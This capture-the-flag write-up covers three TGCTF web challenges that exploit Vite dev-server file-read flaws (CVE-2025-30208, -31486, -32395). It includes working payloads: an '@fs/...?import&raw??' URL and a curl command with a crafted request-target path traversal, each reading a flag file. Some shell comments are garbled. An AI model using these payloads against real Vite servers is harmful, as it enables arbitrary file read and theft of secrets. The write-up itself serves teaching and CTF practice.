Vite Vulnerability Analysis
Three challenges in TGCTF involved this; this vulnerability is quite new.
- CVE-2025-30208
@fs Denies access to files outside the Vite server’s allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this restriction and returns the file contents if the file exists. The bypass works because trailing separators (such as ?) are removed in multiple places, but are not considered in the query-string regular expression.
https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w
- CVE-2025-31486
This affects only applications that explicitly expose the Vite development server to the network (using the —host or server.host configuration option).
server.fs.deny bypassed via .svg or a relative path
- CVE-2025-32395
server.fs.deny bypassed with an invalid request-target
Debugging Vue
I learned about Vue DevTools.
Official site:

I’ll use this challenge as an example. Download this extension in Chrome.
You can clearly see things such as the structure of a Vue project.

components allows quick debugging. It’s much better than spending ages finding things yourself, and it can quickly organize version numbers and project structure too.
The results are as follows:


Front-End GAME
https://www.panziye.com/front/16376.html

Key code
const result = (source) => { if (source > 17) { // <--- 关键条件在这里! return ` \u5F53\u524D\u6210\u7EE9\uFF1A${score.value}\u5206 <div class="result"> <img src="@/assets/images/result.png" /> <p>\u606D\u559C\u4F60\u83B7\u5F97\u4E86</p> <p>\u96EA\u7CD5\u5927\u738B\u79F0\u53F7</p> <p>flag\u5728\u6839\u76EE\u5F55\u4E0B/tgflagggg\u4E2D</p> // <--- Flag 位置信息! </div> `; } else { return ` \u5F53\u524D\u6210\u7EE9\uFF1A${score.value}\u5206 <div class="result"> <img src="@/assets/images/result.png" /> <p>\u83DC\uFF01\uFF01\uFF01</p> </div> `; } }
-------
const result = (source) => {
if (source > 17) { // <--- 关键条件在这里!
return `
当前成绩:${score.value}分
<div class="result">
<img src="@/assets/images/result.png" />
<p>恭喜你获得了</p>
<p>雪糕大王称号</p>
<p>flag在根目录下/tgflagggg中</p> // <--- Flag 位置信息!
</div>
`;
} else {
return `
当前成绩:${score.value}分
<div class="result">
<img src="@/assets/images/result.png" />
<p>菜!!!</p>
</div>
`;
}
}
http://node2.tgctf.woooo.tech:31048/start.sh
#!/bin/sh
# 鍚姩 Vite 寮€鍙戞湇鍔″櫒锛堝悗鍙拌繍琛岋級
pnpm dev --host 0.0.0.0 &
echo $FLAG > /tgflagggg
export FLAG="not_flag"
FLAG="not_flag"
httpd -D FOREGROUND
# 淇濇寔瀹瑰櫒杩愯锛堥槻姝㈤€€鍑猴級
tail -f /dev/null
The final flag
Payload
http://node2.tgctf.woooo.tech:32123/@fs/tgflagggg?import&raw??

Front-End GAME Plus
https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x
const result = (source) => {
if (source > 17) {
return `
\u5F53\u524D\u6210\u7EE9\uFF1A${score.value}\u5206
<div class="result">
<p>\u606D\u559C\u4F60\u83B7\u5F97\u4E86</p>
<p>\u96EA\u7CD5\u5927\u738B\u79F0\u53F7</p>
<p>flag\u5728\u6839\u76EE\u5F55\u4E0B/tgflagggg\u4E2D</p>
</div>
`;
} else {
return `
\u5F53\u524D\u6210\u7EE9\uFF1A${score.value}\u5206
<div class="result">
<p>\u83DC\uFF01\uFF01\uFF01</p>
</div>


Both approaches work.
Front-End GAME Ultra
Reference
https://github.com/vitejs/vite/security/advisories/GHSA-356w-63v5-8wf4

┌──(root㉿kali)-[/home/bx]
└─# curl --request-target '/@fs/app/#/../../../tgflagggg' http://node1.tgctf.woooo.tech:32399
TGCTF{3b323bb9-70eb-bb3a-d45a-86aff17f8ef4}